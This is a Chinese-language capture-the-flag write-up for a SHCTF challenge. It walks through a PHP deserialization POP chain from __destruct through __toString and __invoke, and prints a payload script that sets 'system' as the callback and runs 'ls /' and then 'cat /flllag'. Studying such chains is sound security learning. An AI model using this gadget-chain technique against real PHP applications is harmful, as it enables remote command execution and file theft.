最近刚好在学pop链和反序列化,那就写一篇shctf做题的随笔吧
进来先审计代码;
1.发现反序列化首先会调用__destruct()魔术方法,将$Web赋为true,并echo $n,显然在这里我们得再有一个魔术方法,又因为这里调用的n被当字符串输出,一眼看到__toString(),考虑把$n赋值为new F();
2.F类中$o被当作一个对象调用,由于flag()函数在C类中,考虑把$o赋值为new C();
3.然而此时只剩一个__invoke()没有被调用,而它的调用需要类SHCTF被当成函数调用,刚好C的flag()函数将$p作为函数进行调用,那只要把$p赋值为new SHCTF(),就能解决问题;
4.此时Web为true,会调用函数$isyou并传入参数$flag,那我们找找看,构造payload:
<?php
class SH {
public static $Web = false;
public static $SHCTF = false;
}
class C {
public $p;
public function flag()
{
($this->p)();
}
}
class T{
public $n;
public function __construct()
{
SH::$Web = true;
echo $this->n;
}
}
class F {
public $o;
public function __toString()
{
SH::$SHCTF = true;
$this->o->flag();
return "其实。。。。,";
}
}
class SHCTF {
public $isyou;
public $flag;
public function __invoke()
{
if (SH::$Web) {
($this->isyou)($this->flag);
echo "小丑竟是我自己呜呜呜~";
} else {
echo "小丑别看了!";
}
}
}
$a=new T();
$b=new F();
$c=new C();
$d=new SHCTF();
$a->n=$b;
$d->isyou='system';
$d->flag='ls /';
$b->o=$c;
$c->p=$d;
echo base64_encode(serialize($a));
?>
发现目录flllag;修改$flag的值为'cat /flllag'
即可得到flag: